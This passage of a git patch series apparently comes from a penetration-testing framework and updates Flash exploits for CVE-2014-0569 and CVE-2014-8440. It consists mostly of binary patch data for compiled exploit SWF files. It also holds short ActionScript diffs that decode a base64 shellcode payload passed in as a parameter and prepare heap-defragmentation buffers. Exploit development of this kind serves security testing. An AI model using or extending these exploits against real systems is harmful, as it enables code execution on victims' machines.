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 W?260(Dkz>#v4^Bjr6T{@G--hXMqkSS diff --git a/external/source/exploits/CVE-2014-0569/Main.as b/external/source/exploits/CVE-2014-0569/Main.as index 5a7003b256..9c482e52a0 100755 --- a/external/source/exploits/CVE-2014-0569/Main.as +++ b/external/source/exploits/CVE-2014-0569/Main.as @@ -31,10 +31,13 @@ package { var i:uint = 0 var j:uint = 0 - - b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) - payload = b64.toByteArray().toString(); - + + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray().toString() + for (i = 0; i < defrag.length; i++) { defrag[i] = new ByteArray() defrag[i].length = BYTE_ARRAY_SIZE From da362914e23dada7da61a1ee6ed8d4c9caba61b3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 26 May 2015 15:50:31 -0500 Subject: [PATCH 32/55] Fix indentation --- external/source/exploits/CVE-2014-0569/Main.as | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/external/source/exploits/CVE-2014-0569/Main.as b/external/source/exploits/CVE-2014-0569/Main.as index 9c482e52a0..4ac48e2cec 100755 --- a/external/source/exploits/CVE-2014-0569/Main.as +++ b/external/source/exploits/CVE-2014-0569/Main.as @@ -31,13 +31,12 @@ package { var i:uint = 0 var j:uint = 0 - + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh - var pattern:RegExp = / /g; - b64_payload = b64_payload.replace(pattern, "+") - b64.decode(b64_payload) - payload = b64.toByteArray().toString() - + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray().toString() for (i = 0; i < defrag.length; i++) { defrag[i] = new ByteArray() defrag[i].length = BYTE_ARRAY_SIZE From 5c8c5aef376fc1face33f6f9d66b81599b51e7a3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 26 May 2015 16:05:08 -0500 Subject: [PATCH 33/55] Fix CVE-2014-8440 --- data/exploits/CVE-2014-8440/msf.swf | Bin 18605 -> 18612 bytes external/source/exploits/CVE-2014-8440/Msf.as | 7 +++++-- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/data/exploits/CVE-2014-8440/msf.swf b/data/exploits/CVE-2014-8440/msf.swf index 823490c7e760000194e33de6d696629415e0befb..c6e47d226d51239e078fece012f402ad019ec62f 100755 GIT binary patch delta 18475 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 z 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 